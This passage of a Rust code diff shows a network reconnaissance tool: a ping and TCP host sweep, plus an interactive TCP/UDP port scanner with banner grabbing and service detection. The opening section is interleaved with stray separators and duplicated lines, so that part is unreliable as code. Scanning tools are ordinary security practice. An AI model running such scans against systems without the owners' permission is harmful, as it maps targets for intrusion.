||||
Duration::from_secs(3),
|
||||
Command::new(cmd)
|
||||
.args(["-c", "1", "-W", "1", &ip_str])
|
||||
.output(),
|
||||
)
|
||||
.await;
|
||||
if let Ok(Ok(out)) = result {
|
||||
if out.status.success() {
|
||||
println!("[+] Host {} is up", ip_str);
|
||||
let permit = match sem.acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return,
|
||||
};
|
||||
let ip_string = ip.to_string();
|
||||
let mut successes = Vec::new();
|
||||
|
||||
for method in methods_clone.iter() {
|
||||
match method.probe(&ip, timeout).await {
|
||||
Ok(mut labels) => successes.append(&mut labels),
|
||||
Err(err) => {
|
||||
if verbose {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] {} ({}) error: {}",
|
||||
ip_string,
|
||||
method.label(),
|
||||
err
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
drop(permit);
|
||||
|
||||
let processed = processed_clone.fetch_add(1, Ordering::Relaxed) + 1;
|
||||
|
||||
// Progress indicator every 100 hosts or at completion
|
||||
if processed % 100 == 0 || processed == total_hosts {
|
||||
let elapsed = start_time.elapsed().as_secs();
|
||||
let rate = if elapsed > 0 { (processed as u64) / elapsed } else { 0 };
|
||||
print!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[*] Progress: {}/{} hosts ({:.1}%) | Up: {} | Rate: {}/s",
|
||||
processed,
|
||||
total_hosts,
|
||||
(processed as f64 / total_hosts as f64) * 100.0,
|
||||
success_clone.load(Ordering::Relaxed),
|
||||
rate
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
io::stdout().flush().ok();
|
||||
}
|
||||
|
||||
if !successes.is_empty() {
|
||||
success_clone.fetch_add(1, Ordering::Relaxed);
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[+] Host {} is up ({})",
|
||||
ip_string,
|
||||
successes.join(", ")
|
||||
)
|
||||
.green()
|
||||
);
|
||||
} else if verbose {
|
||||
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
for t in tasks {
|
||||
let _ = t.await;
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
// Clear progress line
|
||||
print!("\r{}\r", " ".repeat(80));
|
||||
io::stdout().flush().ok();
|
||||
|
||||
let up_hosts = success_counter.load(Ordering::Relaxed);
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"\n[*] Sweep complete: {}/{} hosts responded.",
|
||||
up_hosts, total_hosts
|
||||
)
|
||||
.bold()
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn icmp_probe(ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
|
||||
// Try to detect the OS and use appropriate ping command
|
||||
let wait_secs = timeout.as_secs().max(1).to_string();
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
let (cmd, args_vec) = if ip.is_ipv4() {
|
||||
// Try ping first, fallback to ping6 for IPv4 if ping doesn't exist
|
||||
if which::which("ping").is_ok() {
|
||||
("ping", vec!["-c", "1", "-W", &wait_secs, &ip_str])
|
||||
} else if which::which("ping6").is_ok() {
|
||||
("ping6", vec!["-c", "1", "-W", &wait_secs, &ip_str])
|
||||
} else {
|
||||
return Err(anyhow!("Neither 'ping' nor 'ping6' command found. Install ping utility."));
|
||||
}
|
||||
} else {
|
||||
// IPv6
|
||||
if which::which("ping6").is_ok() {
|
||||
("ping6", vec!["-c", "1", "-W", &wait_secs, &ip_str])
|
||||
} else if which::which("ping").is_ok() {
|
||||
// Some systems use ping -6 for IPv6
|
||||
("ping", vec!["-6", "-c", "1", "-W", &wait_secs, &ip_str])
|
||||
} else {
|
||||
return Err(anyhow!("Neither 'ping' nor 'ping6' command found. Install ping utility."));
|
||||
}
|
||||
};
|
||||
|
||||
let result = tokio::time::timeout(
|
||||
timeout,
|
||||
Command::new(cmd)
|
||||
.args(args_vec)
|
||||
.output(),
|
||||
)
|
||||
.await;
|
||||
|
||||
match result {
|
||||
Ok(Ok(output)) => {
|
||||
if output.status.success() {
|
||||
Ok(vec!["ICMP".to_string()])
|
||||
} else {
|
||||
Ok(Vec::new())
|
||||
}
|
||||
}
|
||||
Ok(Err(err)) => Err(anyhow!("Ping command failed: {}", err)),
|
||||
Err(_) => Ok(Vec::new()),
|
||||
}
|
||||
}
|
||||
|
||||
async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
|
||||
// Probe ports in parallel for better performance
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for port in ports {
|
||||
let ip = *ip;
|
||||
let port = *port;
|
||||
let timeout = timeout;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let socket = SocketAddr::new(ip, port);
|
||||
match tokio::time::timeout(timeout, TcpStream::connect(socket)).await {
|
||||
Ok(Ok(_stream)) => {
|
||||
// Connection successful - drop stream immediately
|
||||
Some(format!("TCP/{}", port))
|
||||
}
|
||||
Ok(Err(_)) => None,
|
||||
Err(_) => None,
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
let mut successes = Vec::new();
|
||||
for task in tasks {
|
||||
if let Ok(Some(label)) = task.await {
|
||||
successes.push(label);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(successes)
|
||||
}
|
||||
|
||||
fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
|
||||
print!("{}", message.cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_string();
|
||||
if !allow_empty && trimmed.is_empty() {
|
||||
return Err(anyhow!("Input cannot be empty."));
|
||||
}
|
||||
Ok(trimmed)
|
||||
}
|
||||
|
||||
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
print!(
|
||||
"{}",
|
||||
format!("{} [{}]: ", message, default).cyan().bold()
|
||||
);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_hint = if default_yes { "Y/n" } else { "y/N" };
|
||||
loop {
|
||||
print!(
|
||||
"{}",
|
||||
format!("{} [{}]: ", message, default_hint).cyan().bold()
|
||||
);
|
||||
io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
"y" | "yes" => return Ok(true),
|
||||
"n" | "no" => return Ok(false),
|
||||
_ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_usize(
|
||||
message: &str,
|
||||
default: usize,
|
||||
min: Option<usize>,
|
||||
max: Option<usize>,
|
||||
) -> Result<usize> {
|
||||
loop {
|
||||
let response = prompt_with_default(message, &default.to_string())?;
|
||||
match response.parse::<usize>() {
|
||||
Ok(value) => {
|
||||
if let Some(minimum) = min {
|
||||
if value < minimum {
|
||||
println!(
|
||||
"{}",
|
||||
format!("Value must be >= {}", minimum).yellow()
|
||||
);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if let Some(maximum) = max {
|
||||
if value > maximum {
|
||||
println!(
|
||||
"{}",
|
||||
format!("Value must be <= {}", maximum).yellow()
|
||||
);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
return Ok(value);
|
||||
}
|
||||
Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_u64(
|
||||
message: &str,
|
||||
default: u64,
|
||||
min: Option<u64>,
|
||||
max: Option<u64>,
|
||||
) -> Result<u64> {
|
||||
loop {
|
||||
let response = prompt_with_default(message, &default.to_string())?;
|
||||
match response.parse::<u64>() {
|
||||
Ok(value) => {
|
||||
if let Some(minimum) = min {
|
||||
if value < minimum {
|
||||
println!(
|
||||
"{}",
|
||||
format!("Value must be >= {}", minimum).yellow()
|
||||
);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if let Some(maximum) = max {
|
||||
if value > maximum {
|
||||
println!(
|
||||
"{}",
|
||||
format!("Value must be <= {}", maximum).yellow()
|
||||
);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
return Ok(value);
|
||||
}
|
||||
Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_ports(input: &str) -> Result<Vec<u16>> {
|
||||
let mut ports = Vec::new();
|
||||
for token in input.replace(',', " ").split_whitespace() {
|
||||
match token.parse::<u16>() {
|
||||
Ok(port) => ports.push(port),
|
||||
Err(_) => {
|
||||
println!(
|
||||
"{}",
|
||||
format!(" Skipping invalid port '{}'", token).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
ports.sort_unstable();
|
||||
ports.dedup();
|
||||
Ok(ports)
|
||||
}
|
||||
|
||||
@@ -1,17 +1,20 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use colored::*;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{self, Write, BufWriter},
|
||||
net::{SocketAddr, ToSocketAddrs},
|
||||
sync::{Arc, Mutex},
|
||||
time::Instant,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::{TcpStream, UdpSocket},
|
||||
sync::Semaphore,
|
||||
time::{timeout, Duration},
|
||||
};
|
||||
|
||||
#[derive(Debug)]
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct ScanSettings {
|
||||
pub concurrency: usize,
|
||||
pub timeout_secs: u64,
|
||||
@@ -19,17 +22,109 @@ pub struct ScanSettings {
|
||||
pub verbose: bool,
|
||||
pub scan_udp_enabled: bool,
|
||||
pub output_file: String,
|
||||
pub port_range: PortRange,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub enum PortRange {
|
||||
All,
|
||||
Custom { start: u16, end: u16 },
|
||||
Common,
|
||||
Top1000,
|
||||
}
|
||||
|
||||
impl PortRange {
|
||||
fn get_ports(&self) -> Vec<u16> {
|
||||
match self {
|
||||
PortRange::All => (1..=65535).collect(),
|
||||
PortRange::Custom { start, end } => (*start..=*end).collect(),
|
||||
PortRange::Common => COMMON_PORTS.to_vec(),
|
||||
PortRange::Top1000 => (1..=1000).collect(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Common ports list
|
||||
const COMMON_PORTS: &[u16] = &[
|
||||
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 8080,
|
||||
];
|
||||
|
||||
// Service detection map
|
||||
fn get_service_name(port: u16) -> &'static str {
|
||||
match port {
|
||||
21 => "FTP",
|
||||
22 => "SSH",
|
||||
23 => "Telnet",
|
||||
25 => "SMTP",
|
||||
53 => "DNS",
|
||||
80 => "HTTP",
|
||||
110 => "POP3",
|
||||
111 => "RPC",
|
||||
135 => "MSRPC",
|
||||
139 => "NetBIOS",
|
||||
143 => "IMAP",
|
||||
443 => "HTTPS",
|
||||
445 => "SMB",
|
||||
993 => "IMAPS",
|
||||
995 => "POP3S",
|
||||
1723 => "PPTP",
|
||||
3306 => "MySQL",
|
||||
3389 => "RDP",
|
||||
5900 => "VNC",
|
||||
8080 => "HTTP-Proxy",
|
||||
_ => "",
|
||||
}
|
||||
}
|
||||
|
||||
/// Interactive config prompt
|
||||
pub fn prompt_settings() -> Result<ScanSettings> {
|
||||
println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold());
|
||||
|
||||
// Port range selection
|
||||
println!("\n{}", "Port Range Options:".yellow());
|
||||
println!(" 1. All ports (1-65535)");
|
||||
println!(" 2. Common ports (21, 22, 23, 25, 53, 80, 443, etc.)");
|
||||
println!(" 3. Top 1000 ports");
|
||||
println!(" 4. Custom range");
|
||||
|
||||
let range_choice = prompt_usize("Select option (1-4) [1]: ")?;
|
||||
let port_range = match range_choice {
|
||||
1 | 0 => PortRange::All,
|
||||
2 => PortRange::Common,
|
||||
3 => PortRange::Top1000,
|
||||
4 => {
|
||||
let start_val: usize = prompt_usize("Start port: ")?;
|
||||
let end_val: usize = prompt_usize("End port: ")?;
|
||||
|
||||
if start_val > 65535 || start_val == 0 {
|
||||
return Err(anyhow!("Start port must be between 1 and 65535"));
|
||||
}
|
||||
if end_val > 65535 || end_val == 0 {
|
||||
return Err(anyhow!("End port must be between 1 and 65535"));
|
||||
}
|
||||
|
||||
let start: u16 = start_val.try_into().map_err(|_| anyhow!("Invalid start port"))?;
|
||||
let end: u16 = end_val.try_into().map_err(|_| anyhow!("Invalid end port"))?;
|
||||
|
||||
if start > end {
|
||||
return Err(anyhow!("Start port must be <= end port"));
|
||||
}
|
||||
PortRange::Custom { start, end }
|
||||
}
|
||||
_ => PortRange::All,
|
||||
};
|
||||
|
||||
let ports = port_range.get_ports();
|
||||
println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green());
|
||||
|
||||
Ok(ScanSettings {
|
||||
concurrency: prompt_usize("Concurrency: ")?,
|
||||
timeout_secs: prompt_usize("Timeout (in seconds): ")? as u64,
|
||||
show_only_open: prompt_bool("Show only open ports? (y/n): ")?,
|
||||
verbose: prompt_bool("Verbose output? (y/n): ")?,
|
||||
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n): ")?,
|
||||
output_file: prompt("Output filename: ")?,
|
||||
concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100),
|
||||
timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64,
|
||||
show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true),
|
||||
verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false),
|
||||
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n) [n]: ").unwrap_or(false),
|
||||
output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()),
|
||||
port_range,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -44,6 +139,7 @@ pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
settings.verbose,
|
||||
settings.scan_udp_enabled,
|
||||
&settings.output_file,
|
||||
settings.port_range,
|
||||
)
|
||||
.await
|
||||
}
|
||||
@@ -58,115 +154,284 @@ pub async fn run_with_settings(
|
||||
concurrency: usize,
|
||||
timeout_secs: u64,
|
||||
show_only_open: bool,
|
||||
verbose: bool,
|
||||
_verbose: bool,
|
||||
scan_udp_enabled: bool,
|
||||
output_file: &str,
|
||||
port_range: PortRange,
|
||||
) -> Result<()> {
|
||||
// Resolve domain or IP
|
||||
let start_time = Instant::now();
|
||||
let (resolved_ip_str, resolved_ip) = resolve_target(target)?;
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?)));
|
||||
let mut tasks = vec![];
|
||||
|
||||
let ports = port_range.get_ports();
|
||||
let total_ports = ports.len() * (1 + scan_udp_enabled as usize);
|
||||
|
||||
let stats = Arc::new(Mutex::new(ScanStats::new()));
|
||||
let progress = Arc::new(Mutex::new(ProgressTracker::new(total_ports)));
|
||||
|
||||
println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold());
|
||||
println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan());
|
||||
writeln!(file.lock().unwrap(), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
|
||||
let timestamp = std::time::SystemTime::now()
|
||||
.duration_since(std::time::UNIX_EPOCH)
|
||||
.unwrap()
|
||||
.as_secs();
|
||||
writeln!(file.lock().unwrap(), "Scan started at: {}\n", timestamp)?;
|
||||
|
||||
println!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str);
|
||||
writeln!(file.lock().unwrap(), "Scan Results for {} ({})\n", target, resolved_ip_str)?;
|
||||
|
||||
let progress_bar = Arc::new(Mutex::new(ProgressBar::new(65535 * (1 + scan_udp_enabled as usize))));
|
||||
|
||||
// TCP Scan loop
|
||||
println!("[*] Starting TCP scan...");
|
||||
for port in 1..=65535u16 {
|
||||
// TCP Scan
|
||||
println!("{}", "\n[*] Starting TCP scan...".yellow());
|
||||
let mut tcp_tasks = vec![];
|
||||
|
||||
for port in &ports {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let file = file.clone();
|
||||
let progress_bar = progress_bar.clone();
|
||||
let stats = stats.clone();
|
||||
let progress = progress.clone();
|
||||
let ip = resolved_ip;
|
||||
let ip_str = resolved_ip_str.clone();
|
||||
let port = *port;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
if let Some((status, banner)) = scan_tcp(&ip, port, timeout_secs).await {
|
||||
let line = format!("[TCP] {}:{} => {}", ip_str, port, status);
|
||||
if status == "OPEN" || !show_only_open {
|
||||
if !banner.is_empty() {
|
||||
let _ = writeln!(file.lock().unwrap(), "{} | Banner: {}", line, banner);
|
||||
if verbose {
|
||||
println!("{} | Banner: {}", line, banner);
|
||||
}
|
||||
} else {
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", line);
|
||||
if verbose {
|
||||
println!("{}", line);
|
||||
let result = scan_tcp(&ip, port, timeout_secs).await;
|
||||
|
||||
let mut stats_guard = stats.lock().unwrap();
|
||||
let mut progress_guard = progress.lock().unwrap();
|
||||
|
||||
if let Some((status, banner, service)) = result {
|
||||
match status.as_str() {
|
||||
"OPEN" => {
|
||||
stats_guard.tcp_open += 1;
|
||||
let service_name = if service.is_empty() { get_service_name(port) } else { &service };
|
||||
let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
|
||||
|
||||
if !show_only_open {
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", line);
|
||||
}
|
||||
|
||||
let output_line = if !banner.is_empty() {
|
||||
format!("{} | Banner: {}", line, banner.trim().bright_black())
|
||||
} else {
|
||||
line
|
||||
};
|
||||
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", output_line);
|
||||
println!("{}", output_line);
|
||||
}
|
||||
"CLOSED" => stats_guard.tcp_closed += 1,
|
||||
"TIMEOUT" | "FILTERED" => stats_guard.tcp_filtered += 1,
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
progress_bar.lock().unwrap().increment();
|
||||
|
||||
progress_guard.increment(&start_time);
|
||||
if progress_guard.should_print() {
|
||||
progress_guard.print_progress();
|
||||
}
|
||||
});
|
||||
tasks.push(handle);
|
||||
tcp_tasks.push(handle);
|
||||
}
|
||||
|
||||
// UDP Scan loop
|
||||
// UDP Scan
|
||||
let mut udp_tasks = vec![];
|
||||
if scan_udp_enabled {
|
||||
println!("[*] Starting UDP scan...");
|
||||
for port in 1..=65535u16 {
|
||||
println!("{}", "\n[*] Starting UDP scan...".yellow());
|
||||
for port in &ports {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let file = file.clone();
|
||||
let progress_bar = progress_bar.clone();
|
||||
let stats = stats.clone();
|
||||
let progress = progress.clone();
|
||||
let ip = resolved_ip;
|
||||
let ip_str = resolved_ip_str.clone();
|
||||
let port = *port;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
if let Some(status) = scan_udp(&ip, port, timeout_secs).await {
|
||||
let line = format!("[UDP] {}:{} => {}", ip_str, port, status);
|
||||
if status == "OPEN" || !show_only_open {
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", line);
|
||||
if verbose {
|
||||
let result = scan_udp(&ip, port, timeout_secs).await;
|
||||
|
||||
let mut stats_guard = stats.lock().unwrap();
|
||||
let mut progress_guard = progress.lock().unwrap();
|
||||
|
||||
if let Some(status) = result {
|
||||
match status.as_str() {
|
||||
"OPEN" => {
|
||||
stats_guard.udp_open += 1;
|
||||
let service_name = get_service_name(port);
|
||||
let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
|
||||
|
||||
if !show_only_open {
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", line);
|
||||
}
|
||||
|
||||
let _ = writeln!(file.lock().unwrap(), "{}", line);
|
||||
println!("{}", line);
|
||||
}
|
||||
"CLOSED" => stats_guard.udp_closed += 1,
|
||||
"FILTERED" => stats_guard.udp_filtered += 1,
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
progress_bar.lock().unwrap().increment();
|
||||
|
||||
progress_guard.increment(&start_time);
|
||||
if progress_guard.should_print() {
|
||||
progress_guard.print_progress();
|
||||
}
|
||||
});
|
||||
tasks.push(handle);
|
||||
udp_tasks.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
// Await all tasks
|
||||
for task in tasks {
|
||||
for task in tcp_tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
for task in udp_tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
println!("[*] Scan complete. Results saved to {}", output_file);
|
||||
let elapsed = start_time.elapsed();
|
||||
let stats = stats.lock().unwrap();
|
||||
|
||||
// Print summary
|
||||
println!("\n{}", "=== Scan Summary ===".cyan().bold());
|
||||
println!("{}", format!("Scan duration: {:.2} seconds", elapsed.as_secs_f64()).green());
|
||||
println!("\n{}", "TCP Ports:".yellow());
|
||||
println!(" {} Open: {}", "✓".green(), stats.tcp_open.to_string().green().bold());
|
||||
println!(" {} Closed: {}", "✗".red(), stats.tcp_closed);
|
||||
println!(" {} Filtered/Timeout: {}", "~".yellow(), stats.tcp_filtered);
|
||||
|
||||
if scan_udp_enabled {
|
||||
println!("\n{}", "UDP Ports:".yellow());
|
||||
println!(" {} Open: {}", "✓".green(), stats.udp_open.to_string().green().bold());
|
||||
println!(" {} Closed: {}", "✗".red(), stats.udp_closed);
|
||||
println!(" {} Filtered: {}", "~".yellow(), stats.udp_filtered);
|
||||
}
|
||||
|
||||
println!("\n{}", format!("[*] Results saved to {}", output_file).cyan());
|
||||
|
||||
// Write summary to file
|
||||
writeln!(file.lock().unwrap(), "\n=== Scan Summary ===")?;
|
||||
writeln!(file.lock().unwrap(), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
|
||||
writeln!(file.lock().unwrap(), "\nTCP Ports:")?;
|
||||
writeln!(file.lock().unwrap(), " Open: {}", stats.tcp_open)?;
|
||||
writeln!(file.lock().unwrap(), " Closed: {}", stats.tcp_closed)?;
|
||||
writeln!(file.lock().unwrap(), " Filtered/Timeout: {}", stats.tcp_filtered)?;
|
||||
if scan_udp_enabled {
|
||||
writeln!(file.lock().unwrap(), "\nUDP Ports:")?;
|
||||
writeln!(file.lock().unwrap(), " Open: {}", stats.udp_open)?;
|
||||
writeln!(file.lock().unwrap(), " Closed: {}", stats.udp_closed)?;
|
||||
writeln!(file.lock().unwrap(), " Filtered: {}", stats.udp_filtered)?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// === TCP Port Scanner (Banner Grab) ===
|
||||
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String)> {
|
||||
/// === TCP Port Scanner with Enhanced Banner Grabbing ===
|
||||
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String, String)> {
|
||||
let addr = SocketAddr::new(*ip, port);
|
||||
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(addr)).await {
|
||||
Ok(Ok(stream)) => {
|
||||
let mut buf = [0u8; 1024];
|
||||
// Try reading immediately if service gives banner (FTP, SMTP, HTTP, etc)
|
||||
match timeout(Duration::from_secs(2), stream.readable()).await {
|
||||
Ok(Ok(())) => match stream.try_read(&mut buf) {
|
||||
Ok(n) if n > 0 => {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).to_string();
|
||||
Some(("OPEN".into(), banner))
|
||||
}
|
||||
_ => Some(("OPEN".into(), "".into())),
|
||||
},
|
||||
_ => Some(("OPEN".into(), "".into())),
|
||||
}
|
||||
Ok(Ok(mut stream)) => {
|
||||
// Try service-specific probes for better banner grabbing
|
||||
let (banner, service) = grab_banner(&mut stream, port).await;
|
||||
Some(("OPEN".into(), banner, service))
|
||||
}
|
||||
Ok(Err(_)) => Some(("CLOSED".into(), "".into())),
|
||||
Err(_) => Some(("TIMEOUT".into(), "".into())),
|
||||
Ok(Err(_)) => Some(("CLOSED".into(), "".into(), "".into())),
|
||||
Err(_) => Some(("TIMEOUT".into(), "".into(), "".into())),
|
||||
}
|
||||
}
|
||||
|
||||
/// === UDP Port Scanner (Stateless "Fire-and-Forget") ===
|
||||
/// Enhanced banner grabbing with service-specific probes
|
||||
async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
|
||||
let mut buf = [0u8; 2048];
|
||||
|
||||
// Try to read initial banner (works for FTP, SMTP, POP3, etc.)
|
||||
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
|
||||
let service = detect_service_from_banner(&banner, port);
|
||||
return (banner, service);
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
|
||||
// Service-specific probes
|
||||
match port {
|
||||
80 | 8080 => {
|
||||
// HTTP probe
|
||||
if let Ok(_) = stream.write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n").await {
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
|
||||
if n > 0 {
|
||||
let response = String::from_utf8_lossy(&buf[..n]);
|
||||
if let Some(server) = extract_http_server(&response) {
|
||||
return (response.trim().to_string(), format!("HTTP ({})", server));
|
||||
}
|
||||
return (response.trim().to_string(), "HTTP".into());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
443 => {
|
||||
// HTTPS - can't easily probe without TLS, just return empty
|
||||
return ("".into(), "HTTPS".into());
|
||||
}
|
||||
22 => {
|
||||
// SSH - read SSH banner
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
|
||||
if n > 0 {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
|
||||
return (banner, "SSH".into());
|
||||
}
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
// Try reading again for other services
|
||||
if let Ok(Ok(n)) = timeout(Duration::from_secs(1), stream.read(&mut buf)).await {
|
||||
if n > 0 {
|
||||
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
|
||||
let service = detect_service_from_banner(&banner, port);
|
||||
return (banner, service);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
("".into(), "".into())
|
||||
}
|
||||
|
||||
fn detect_service_from_banner(banner: &str, port: u16) -> String {
|
||||
let banner_lower = banner.to_lowercase();
|
||||
|
||||
if banner_lower.contains("ssh") {
|
||||
"SSH".into()
|
||||
} else if banner_lower.contains("ftp") {
|
||||
"FTP".into()
|
||||
} else if banner_lower.contains("smtp") {
|
||||
"SMTP".into()
|
||||
} else if banner_lower.contains("pop3") {
|
||||
"POP3".into()
|
||||
} else if banner_lower.contains("imap") {
|
||||
"IMAP".into()
|
||||
} else if banner_lower.contains("http") {
|
||||
"HTTP".into()
|
||||
} else if banner_lower.contains("mysql") {
|
||||
"MySQL".into()
|
||||
} else {
|
||||
get_service_name(port).to_string()
|
||||
}
|
||||
}
|
||||
|
||||
fn extract_http_server(response: &str) -> Option<String> {
|
||||
for line in response.lines() {
|
||||
if line.to_lowercase().starts_with("server:") {
|
||||
return Some(line.split(':').nth(1).unwrap_or("").trim().to_string());
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// === UDP Port Scanner ===
|
||||
async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<String> {
|
||||
// We bind to a random UDP port on localhost
|
||||
let bind_addr = if ip.is_ipv4() { "0.0.0.0:0" } else { "[::]:0" };
|
||||
let sock = match UdpSocket::bind(bind_addr).await {
|
||||
Ok(s) => s,
|
||||
@@ -174,14 +439,14 @@ async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option
|
||||
};
|
||||
|
||||
let target = SocketAddr::new(*ip, port);
|
||||
let payload = b"\x00\x00\x10\x10"; // Random small packet
|
||||
let payload = b"\x00\x00\x10\x10";
|
||||
let _ = sock.send_to(payload, target).await;
|
||||
// Set a timeout: if port is closed, we should get "Connection refused"
|
||||
|
||||
let mut buf = [0u8; 512];
|
||||
match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await {
|
||||
Ok(Ok((_len, _src))) => Some("OPEN".into()), // Got a response!
|
||||
Ok(Err(_)) => Some("CLOSED".into()), // ICMP port unreachable
|
||||
Err(_) => Some("FILTERED".into()), // No response
|
||||
Ok(Ok((_len, _src))) => Some("OPEN".into()),
|
||||
Ok(Err(_)) => Some("CLOSED".into()),
|
||||
Err(_) => Some("FILTERED".into()),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -189,7 +454,6 @@ async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option
|
||||
fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
|
||||
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
|
||||
